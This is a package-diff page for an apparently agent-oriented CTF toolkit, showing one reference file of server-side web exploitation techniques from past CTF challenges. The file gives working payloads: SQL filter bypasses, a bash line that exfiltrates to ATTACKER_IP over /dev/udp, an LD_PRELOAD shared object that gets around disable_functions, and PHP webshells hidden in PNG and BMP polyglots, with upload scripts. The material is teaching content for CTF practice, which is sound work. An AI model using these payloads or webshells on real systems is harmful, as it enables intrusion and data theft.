ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,799 @@
1
+ # CTF Web - Server-Side Code Execution & Access Attacks (Part 2)
2
+
3
+ ## Table of Contents
4
+ - [SQLi Keyword Fragmentation Bypass (SecuInside 2013)](#sqli-keyword-fragmentation-bypass-secuinside-2013)
5
+ - [SQL WHERE Bypass via ORDER BY CASE (Sharif CTF 2016)](#sql-where-bypass-via-order-by-case-sharif-ctf-2016)
6
+ - [SQL Injection via DNS Records (PlaidCTF 2014)](#sql-injection-via-dns-records-plaidctf-2014)
7
+ - [Bash Brace Expansion for Space-Free Command Injection (Insomnihack 2016)](#bash-brace-expansion-for-space-free-command-injection-insomnihack-2016)
8
+ - [Common Lisp Injection via Reader Macro (Insomnihack 2016)](#common-lisp-injection-via-reader-macro-insomnihack-2016)
9
+ - [PHP7 OPcache Binary Webshell + LD_PRELOAD disable_functions Bypass (ALICTF 2016)](#php7-opcache-binary-webshell--ld_preload-disable_functions-bypass-alictf-2016)
10
+ - [Wget GET Parameter Filename Trick for PHP Shell Upload (SECUINSIDE 2016)](#wget-get-parameter-filename-trick-for-php-shell-upload-secuinside-2016)
11
+ - [Tar Filename Command Injection (CyberSecurityRumble 2016)](#tar-filename-command-injection-cybersecurityrumble-2016)
12
+ - [PNG/PHP Polyglot Upload + Double Extension + disable_functions Bypass (MetaCTF Flash 2026)](#pngphp-polyglot-upload--double-extension--disable_functions-bypass-metactf-flash-2026)
13
+ - [PHP BMP Pixel Webshell with Filename Truncation (Nuit du Hack CTF 2018)](#php-bmp-pixel-webshell-with-filename-truncation-nuit-du-hack-ctf-2018)
14
+ - [Editor Backup File Source Disclosure (h4ckc0n 2017)](#editor-backup-file-source-disclosure-h4ckc0n-2017)
15
+ - [date -f Arbitrary File Read (Can-CWIC 2017)](#date--f-arbitrary-file-read-can-cwic-2017)
16
+ - [Apache mod_rewrite PATH_INFO Bypass (EKOPARTY 2017)](#apache-mod_rewrite-path_info-bypass-ekoparty-2017)
17
+ - [PHP ReDoS to Skip Code Execution (CODE BLUE 2017)](#php-redos-to-skip-code-execution-code-blue-2017)
18
+ - [Custom Serializer Integer Overflow 256 to 0 Length (Codegate 2018)](#custom-serializer-integer-overflow-256-to-0-length-codegate-2018)
19
+ - [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013) *(stub — see [server-side-deser.md](server-side-deser.md))*
20
+ - [Java Deserialization (ysoserial)](#java-deserialization-ysoserial) *(stub — see [server-side-deser.md](server-side-deser.md))*
21
+ - [Python Pickle Deserialization](#python-pickle-deserialization) *(stub — see [server-side-deser.md](server-side-deser.md))*
22
+ - [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use) *(stub — see [server-side-deser.md](server-side-deser.md))*
23
+ - [Unanchored Regex Command Injection (picoCTF 2018)](#unanchored-regex-command-injection-picoctf-2018)
24
+ - [Jinja2 SSTI via globals.__self__.exec() String Concat Bypass (InCTF 2018)](#jinja2-ssti-via-globals__self__exec-string-concat-bypass-inctf-2018)
25
+ - [web.py reparam() eval + __subclasses__ with Blanked Builtins (HITCON 2018)](#webpy-reparam-eval--__subclasses__-with-blanked-builtins-hitcon-2018)
26
+ - [Redis Lua Injection via redis.call() (HumanCTF 2018)](#redis-lua-injection-via-rediscall-humanctf-2018)
27
+ - [PHP create_function String Interpolation RCE (FireShell 2019)](#php-create_function-string-interpolation-rce-fireshell-2019)
28
+ - [php://input + NULL Byte + ~Bitwise base64 Filter Bypass (DefCamp 2018)](#phpinput--null-byte--bitwise-base64-filter-bypass-defcamp-2018)
29
+ - [EXIF ImageDescription Shell Injection via exiftool (OTW Advent 2018)](#exif-imagedescription-shell-injection-via-exiftool-otw-advent-2018)
30
+ - [.phar Extension Bypass for PHP Upload Blacklists (35C3 2018)](#phar-extension-bypass-for-php-upload-blacklists-35c3-2018)
31
+ - [vsftpd 2.3.4 Smiley-Face Backdoor (P.W.N. CTF 2018)](#vsftpd-234-smiley-face-backdoor-pwn-ctf-2018)
32
+
33
+ For injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion), see [server-side.md](server-side.md). For deserialization attacks (Java, Pickle) and race conditions, see [server-side-deser.md](server-side-deser.md). For CVE-specific exploits, path traversal bypasses, Flask/Werkzeug debug, and other advanced techniques, see [server-side-advanced.md](server-side-advanced.md).
34
+
35
+ *See also: [server-side-exec.md](server-side-exec.md) for Ruby/Perl/JS code injection, LaTeX injection RCE, PHP preg_replace /e RCE, PHP backtick eval, PHP assert() injection, Prolog injection, ReDoS timing oracle, file upload to RCE (.htaccess, log poisoning, Python .so hijack, Gogs symlink, ZipSlip), PHP deserialization from cookies, PHP extract() variable overwrite, XPath blind injection, API filter injection, HTTP response header hiding, WebSocket mass assignment, and Thymeleaf SpEL SSTI.*
36
+
37
+ ---
38
+
39
+ ## SQLi Keyword Fragmentation Bypass (SecuInside 2013)
40
+
41
+ **Pattern:** Single-pass `preg_replace()` keyword filters can be bypassed by nesting the stripped keyword inside the payload word.
42
+
43
+ **Key insight:** If the filter strips `load_file` in a single pass, `unload_fileon` becomes `union` after removal. The inner keyword acts as a sacrificial fragment.
44
+
45
+ ```php
46
+ // Vulnerable filter (single-pass, case-sensitive)
47
+ $str = preg_replace("/union/", "", $str);
48
+ $str = preg_replace("/select/", "", $str);
49
+ $str = preg_replace("/load_file/", "", $str);
50
+ $str = preg_replace("/ /", "", $str);
51
+ ```
52
+
53
+ ```sql
54
+ -- Bypass payload (spaces replaced with /**/ comments)
55
+ (0)uniunionon/**/selselectect/**/1,2,3/**/frfromom/**/users
56
+ -- Or nest the stripped keyword:
57
+ unload_fileon/**/selectload_filect/**/flag/**/frload_fileom/**/secrets
58
+ ```
59
+
60
+ **Variations:** Case-sensitive filters: mix case (`unIoN`). Space filters: `/**/`, `%09`, `%0a`. Recursive filters: double the keyword (`ununionion`). Always test whether the filter is single-pass or recursive.
61
+
62
+ ---
63
+
64
+ ## SQL WHERE Bypass via ORDER BY CASE (Sharif CTF 2016)
65
+
66
+ When `WHERE` clause restrictions prevent direct filtering, use `ORDER BY CASE` to control result ordering and extract data:
67
+
68
+ ```sql
69
+ SELECT * FROM messages ORDER BY (CASE WHEN msg LIKE '%flag%' THEN 1 ELSE 0 END) DESC
70
+ ```
71
+
72
+ **Key insight:** Even without WHERE access, ORDER BY with conditional expressions forces target rows to appear first in results. Combine with `LIMIT 1` to isolate specific records.
73
+
74
+ ---
75
+
76
+ ## SQL Injection via DNS Records (PlaidCTF 2014)
77
+
78
+ **Pattern:** Application calls `gethostbyaddr()` or `dns_get_record()` on user-controlled IP addresses and uses the result in SQL queries without escaping. Inject SQL through DNS PTR or TXT records you control.
79
+
80
+ **Attack setup:**
81
+ 1. Set your IP's PTR record to a domain you control (e.g., `evil.example.com`)
82
+ 2. Add a TXT record on that domain containing the SQL payload
83
+ 3. Trigger the application to resolve your IP (e.g., via password reset)
84
+
85
+ ```php
86
+ // Vulnerable code:
87
+ $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
88
+ $details = dns_get_record($hostname);
89
+ mysql_query("UPDATE users SET resetinfo='$details' WHERE ...");
90
+ // TXT record: "' UNION SELECT flag FROM flags-- "
91
+ ```
92
+
93
+ **Key insight:** DNS records (PTR, TXT, MX) are an overlooked injection channel. Any application that resolves IPs/hostnames and incorporates the result into database queries is vulnerable. Control comes from setting up DNS records for attacker-owned domains or IP reverse DNS.
94
+
95
+ ---
96
+
97
+ ## Bash Brace Expansion for Space-Free Command Injection (Insomnihack 2016)
98
+
99
+ When spaces and common shell metacharacters (`$`, `&`, `\`, `;`, `|`, `*`) are filtered, use bash brace expansion and process substitution:
100
+
101
+ ```bash
102
+ # Brace expansion inserts spaces: {cmd,-flag,arg} expands to: cmd -flag arg
103
+ {ls,-la,../..}
104
+
105
+ # Exfiltrate via UDP when outbound TCP is blocked:
106
+ <({ls,-la,../..}>/dev/udp/ATTACKER_IP/53)
107
+
108
+ # Execute base64-encoded payload:
109
+ <({base64,-d,ENCODED_PAYLOAD}>/tmp/s.sh)
110
+ ```
111
+
112
+ **Key insight:** Bash brace expansion `{a,b,c}` splits into space-separated tokens without requiring literal space characters. Combined with `/dev/udp/` or `/dev/tcp/` for exfiltration, this bypasses filters that block spaces and most shell metacharacters.
113
+
114
+ ---
115
+
116
+ ## Common Lisp Injection via Reader Macro (Insomnihack 2016)
117
+
118
+ Lisp's `read` function evaluates `#.(expression)` reader macros at parse time. When an application uses `read` for user input (instead of `read-line`), arbitrary code execution is possible:
119
+
120
+ ```lisp
121
+ #.(ext:run-program "cat" :arguments '("/flag"))
122
+ #.(run-shell-command "cat /flag")
123
+ ```
124
+
125
+ **Key insight:** Lisp's `read` treats data as code by design -- the `#.()` reader macro evaluates arbitrary expressions during parsing. This is analogous to SQL injection but for Lisp. Safe alternative: use `read-line` for string input, never `read` on untrusted data.
126
+
127
+ ---
128
+
129
+ ## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)
130
+
131
+ Strip pickle STOP opcode (`\x2e`) from first payload, concatenate second — both `__reduce__` calls execute in single `pickle.loads()`. Chain `os.dup2()` for socket output. See [server-side-deser.md](server-side-deser.md#pickle-chaining-via-stop-opcode-stripping-volgactf-2013) for full exploit code.
132
+
133
+ ---
134
+
135
+ ## Java Deserialization (ysoserial)
136
+
137
+ Serialized Java objects in cookies/POST (starts with `rO0AB` / `aced0005`). Use ysoserial gadget chains (CommonsCollections, URLDNS for blind detection). See [server-side-deser.md](server-side-deser.md#java-deserialization-ysoserial) for payloads and bypass techniques.
138
+
139
+ ---
140
+
141
+ ## Python Pickle Deserialization
142
+
143
+ `pickle.loads()` calls `__reduce__()` for instant RCE via `(os.system, ('cmd',))`. Common in Flask sessions, ML model files, Redis objects. See [server-side-deser.md](server-side-deser.md#python-pickle-deserialization) for payloads and restricted unpickler bypasses.
144
+
145
+ ---
146
+
147
+ ## Race Conditions (Time-of-Check to Time-of-Use)
148
+
149
+ Concurrent requests bypass check-then-act patterns (balance, coupons, registration uniqueness). Send 50+ simultaneous requests so all see pre-modification state. See [server-side-deser.md](server-side-deser.md#race-conditions-time-of-check-to-time-of-use) for async exploit code and detection patterns.
150
+
151
+ ---
152
+
153
+ ---
154
+
155
+ ## PHP7 OPcache Binary Webshell + LD_PRELOAD disable_functions Bypass (ALICTF 2016)
156
+
157
+ **Pattern (Homework):** Multi-stage chain: SQLi file write + PHP7 OPcache poisoning + `LD_PRELOAD` bypass of `disable_functions`.
158
+
159
+ **Stage 1 — OPcache poisoning:**
160
+ PHP7 with `opcache.file_cache` enabled stores compiled bytecode in `/tmp/OPcache/[system_id]/[webroot]/script.php.bin`. Replace the `.bin` file via SQLi `INTO DUMPFILE` to execute arbitrary PHP despite upload restrictions.
161
+
162
+ ```bash
163
+ # 1. Calculate system_id from phpinfo() data
164
+ python3 system_id_scraper.py http://target/phpinfo.php
165
+ # Output: 39b005ad77428c42788140c6839e6201
166
+
167
+ # 2. Generate opcode cache locally (match PHP version)
168
+ php -d opcache.enable_cli=1 -d opcache.file_cache=/tmp/OPcache \
169
+ -d opcache.file_cache_only=1 -f payload.php
170
+
171
+ # 3. Patch system_id in binary (bytes 9-40)
172
+ # 4. Upload via SQLi INTO DUMPFILE:
173
+ ```
174
+ ```sql
175
+ -1 UNION SELECT X'<hex_of_payload.php.bin>'
176
+ INTO DUMPFILE '/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/evil.php.bin' #
177
+ ```
178
+
179
+ **Stage 2 — LD_PRELOAD bypass:**
180
+ When `disable_functions` blocks all exec functions, use `putenv()` + `mail()` to execute code. PHP's `mail()` calls external sendmail, which respects `LD_PRELOAD`.
181
+
182
+ ```c
183
+ /* evil.c — compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
184
+ #include <stdlib.h>
185
+ #include <stdio.h>
186
+ #include <string.h>
187
+
188
+ void payload(char *cmd) {
189
+ char buf[512];
190
+ snprintf(buf, sizeof(buf), "%s > /tmp/_output.txt", cmd);
191
+ system(buf);
192
+ }
193
+
194
+ int geteuid() {
195
+ if (getenv("LD_PRELOAD") == NULL) return 0;
196
+ unsetenv("LD_PRELOAD");
197
+ char *cmd = getenv("_evilcmd");
198
+ if (cmd) payload(cmd);
199
+ return 1;
200
+ }
201
+ ```
202
+
203
+ ```php
204
+ <?php
205
+ // payload.php — upload evil.so via webapp, deploy this via OPcache
206
+ putenv("LD_PRELOAD=/var/www/html/upload/evil.so");
207
+ putenv("_evilcmd=" . $_GET['cmd']);
208
+ mail("x@x.x", "", "", "");
209
+ show_source("/tmp/_output.txt");
210
+ ?>
211
+ ```
212
+
213
+ **Key insight:** PHP's `disable_functions` only restricts PHP-level calls. External programs spawned by `mail()` run without PHP restrictions, and `LD_PRELOAD` lets you override any libc function in those external programs. The OPcache `.bin` file has no integrity check beyond `system_id` matching — replacing it with a crafted binary gives arbitrary PHP execution even when upload validation strips PHP content.
214
+
215
+ ---
216
+
217
+ ## Wget GET Parameter Filename Trick for PHP Shell Upload (SECUINSIDE 2016)
218
+
219
+ **Pattern (trendyweb):** Server uses `wget` to download user-provided URLs and `parse_url()` to validate the path. Wget saves files with GET parameters in the filename, creating a `.php` extension bypass.
220
+
221
+ ```text
222
+ URL: http://attacker.com/avatar.png?shell.php
223
+ parse_url($url)['path'] = '/avatar.png' # passes .png check
224
+ wget saves as: avatar.png?shell.php # server treats as PHP
225
+ ```
226
+
227
+ Access via URL-encoded `?`: `http://target/data/hash/avatar.png%3fshell.php?cmd=id`
228
+
229
+ **Key insight:** `wget` preserves GET parameters in the output filename when no `-O` flag is specified. `parse_url()` separates path from query, so validation only sees the path extension. The resulting file has a `.php` extension from the query string portion, which Apache/nginx interprets as PHP.
230
+
231
+ ---
232
+
233
+ ## Tar Filename Command Injection (CyberSecurityRumble 2016)
234
+
235
+ **Pattern (Jobs):** Server extracts tar archives and displays filenames via a `.cgi` script. Filenames containing shell metacharacters are passed to shell without sanitization.
236
+
237
+ ```bash
238
+ # Create tar with command injection filename
239
+ mkdir exploit && cd exploit
240
+ touch 'name; cat /flag #'
241
+ tar cf exploit.tar *
242
+ # Upload — server runs: echo "name; cat /flag #" in CGI context
243
+ ```
244
+
245
+ **Key insight:** When server-side scripts process filenames from user-uploaded archives (tar, zip) via shell commands, special characters in filenames become injection vectors. The semicolon breaks out of the filename context, and `#` comments out trailing characters. Always sanitize filenames from untrusted archives before shell interpolation.
246
+
247
+ ---
248
+
249
+ ## PNG/PHP Polyglot Upload + Double Extension + disable_functions Bypass (MetaCTF Flash 2026)
250
+
251
+ **Pattern (Brand Kit):** Upload filter rejects `.php` extension but accepts image uploads. nginx/PHP-FPM executes files ending in `.php` regardless of preceding extensions. `disable_functions` blocks all command execution functions, but filesystem functions remain available.
252
+
253
+ **Step 1: Create PNG/PHP polyglot**
254
+ ```bash
255
+ # Create a valid PNG that also contains PHP code after the IEND chunk
256
+ # PHP interpreter ignores binary data before <?php
257
+ cp valid_image.png polyglot.png.php
258
+
259
+ # Append PHP payload after the PNG IEND marker
260
+ cat >> polyglot.png.php << 'PAYLOAD'
261
+ <?php
262
+ // disable_functions blocks system/exec/passthru/shell_exec/popen/proc_open
263
+ // Use filesystem functions instead
264
+ $files = scandir('/');
265
+ foreach ($files as $f) {
266
+ if (strpos($f, 'flag') !== false || strpos($f, 'ctf') !== false) {
267
+ echo "FOUND: $f\n";
268
+ echo file_get_contents("/$f");
269
+ }
270
+ }
271
+ // Fallback: list everything
272
+ echo "\n--- Full listing ---\n";
273
+ print_r($files);
274
+ ?>
275
+ PAYLOAD
276
+ ```
277
+
278
+ **Step 2: Upload with double extension**
279
+ ```bash
280
+ # Filter checks extension — .png.php has .php at the end
281
+ # Some filters only check first extension (.png) or reject exact match on .php
282
+ curl -F 'file=@polyglot.png.php;type=image/png' http://target/upload
283
+
284
+ # Alternative double extensions to try:
285
+ # .png.php .jpg.php .gif.php
286
+ # .png.phtml .png.phar .png.php5
287
+ # .php.png (some filters check last extension, nginx checks .php anywhere)
288
+ ```
289
+
290
+ **Step 3: Access and enumerate**
291
+ ```bash
292
+ # The uploaded file is served by nginx which passes .php to PHP-FPM
293
+ curl http://target/uploads/polyglot.png.php
294
+
295
+ # If flag filename is randomized, first enumerate:
296
+ # scandir('/') reveals: flag_a8f3c9d2e1.txt
297
+ # Then read it with file_get_contents()
298
+ ```
299
+
300
+ **Useful PHP functions when `disable_functions` blocks execution:**
301
+ ```php
302
+ <?php
303
+ // File discovery
304
+ scandir('/'); // List directory
305
+ glob('/flag*'); // Glob pattern match
306
+ file_exists('/flag.txt'); // Check existence
307
+
308
+ // File reading
309
+ file_get_contents('/flag.txt'); // Read entire file
310
+ readfile('/flag.txt'); // Output file directly
311
+ file('/flag.txt'); // Read as array of lines
312
+ fopen('/flag.txt', 'r'); // Stream-based read
313
+
314
+ // Environment / info leaking
315
+ phpinfo(); // Full PHP config, env vars
316
+ getenv('FLAG'); // Environment variable
317
+ get_defined_vars(); // All variables in scope
318
+
319
+ // If open_basedir is set, check what's allowed:
320
+ ini_get('open_basedir');
321
+ ini_get('disable_functions');
322
+ ?>
323
+ ```
324
+
325
+ **Key insight:** Three layers work together: (1) PNG/PHP polyglot passes image validation because it starts with valid PNG magic bytes; (2) double extension `.png.php` bypasses filters that reject `.php` but passes nginx's location regex that matches `\.php$`; (3) when `disable_functions` blocks all command execution, `scandir()` + `file_get_contents()` remain available for directory listing and file reading. Always enumerate the filesystem first when `disable_functions` is in play -- the flag filename is often randomized.
326
+
327
+ **When to recognize:** File upload challenge with image-only restrictions. Check `phpinfo()` output for `disable_functions` list. If all exec functions are blocked, pivot to pure PHP filesystem functions.
328
+
329
+ **References:** MetaCTF Flash CTF 2026 "Brand Kit"
330
+
331
+ ---
332
+
333
+ ### PHP BMP Pixel Webshell with Filename Truncation (Nuit du Hack CTF 2018)
334
+
335
+ **Pattern:** Encode PHP code as BMP pixel colors (BGR format). The server validates the file extension (e.g., requires `.JPG` or `.BMP`) but truncates filenames to a maximum length. Craft a filename like `'A'*46 + '.php.JPG'` that passes the `.JPG` extension check but truncates to `'A'*46 + '.php'` at the 50-character limit.
336
+
337
+ **How BMP pixel encoding works:**
338
+ ```python
339
+ import struct
340
+ import requests
341
+
342
+ # BMP files store pixel data as raw bytes in BGR order (Blue, Green, Red)
343
+ # PHP ignores non-PHP content before <?php tags
344
+ # So embedding PHP code in pixel color values creates a valid BMP that is also valid PHP
345
+
346
+ payload = "<?php @$_GET[a]($_GET[b]);?>"
347
+
348
+ def pad(s, block=3):
349
+ """Pad payload to multiple of 3 bytes (one pixel = 3 color bytes)."""
350
+ while len(s) % block != 0:
351
+ s += " "
352
+ return s
353
+
354
+ def chunk(s, n):
355
+ """Split string into n-byte chunks."""
356
+ return [s[i:i+n] for i in range(0, len(s), n)]
357
+
358
+ # Read a template BMP file (small valid BMP, e.g., 10x10)
359
+ with open("template.bmp", "rb") as f:
360
+ data = bytearray(f.read())
361
+
362
+ # Find the pixel data offset (stored at byte 10-13 in BMP header)
363
+ pixel_offset = struct.unpack_from('<I', data, 10)[0]
364
+
365
+ # Encode PHP payload as BMP pixel colors
366
+ padded = pad(payload)
367
+ index = pixel_offset
368
+ for c in chunk(padded, 3):
369
+ data[index + 2] = ord(c[0]) # R -> B in BMP format (BGR order)
370
+ data[index + 1] = ord(c[1]) # G stays
371
+ data[index] = ord(c[2]) # B -> R in BMP format
372
+ index += 4 # skip alpha byte (if 32-bit BMP) or use 3 for 24-bit
373
+
374
+ # Filename truncation exploit:
375
+ # Server checks extension: must end with .JPG or .BMP
376
+ # Server truncates filename to 50 chars
377
+ # "A" * 46 + ".php" = 50 chars (after truncation)
378
+ # "A" * 46 + ".php" + ".JPG" = 54 chars (passes extension check before truncation)
379
+ name = "A" * 46 + ".php"
380
+
381
+ # Upload with the extension that passes validation
382
+ requests.post(
383
+ "http://target/upload",
384
+ data={"data": str(list(data)), "name": name + ".JPG", "format": "BMP"}
385
+ )
386
+
387
+ # Access the webshell (filename truncated to .php)
388
+ r = requests.get(f"http://target/uploads/{name}", params={"a": "system", "b": "cat /flag.txt"})
389
+ print(r.text)
390
+ ```
391
+
392
+ **Filename truncation variants:**
393
+ ```text
394
+ # 50-char limit example:
395
+ "A"*46 + ".php" + ".JPG" -> truncated to "A"*46 + ".php" (50 chars)
396
+ "A"*46 + ".php" + ".png" -> truncated to "A"*46 + ".php" (50 chars)
397
+
398
+ # Other truncation lengths — adjust padding:
399
+ # For N-char limit: "A"*(N-4) + ".php" + ".ext"
400
+ # The ".ext" passes the extension check, then gets truncated away
401
+ ```
402
+
403
+ **Key insight:** BMP files store pixel data as raw bytes in BGR order. PHP ignores non-PHP content before `<?php` tags. When the server truncates filenames to a fixed length, `'A'*46 + '.php' + '.JPG'` passes extension validation but saves as `.php`. This combines three bypass techniques: (1) polyglot file format (valid BMP + valid PHP), (2) extension check evasion via filename truncation, (3) webshell hidden in image pixel data survives re-encoding unless the server re-renders the image from scratch.
404
+
405
+ ---
406
+
407
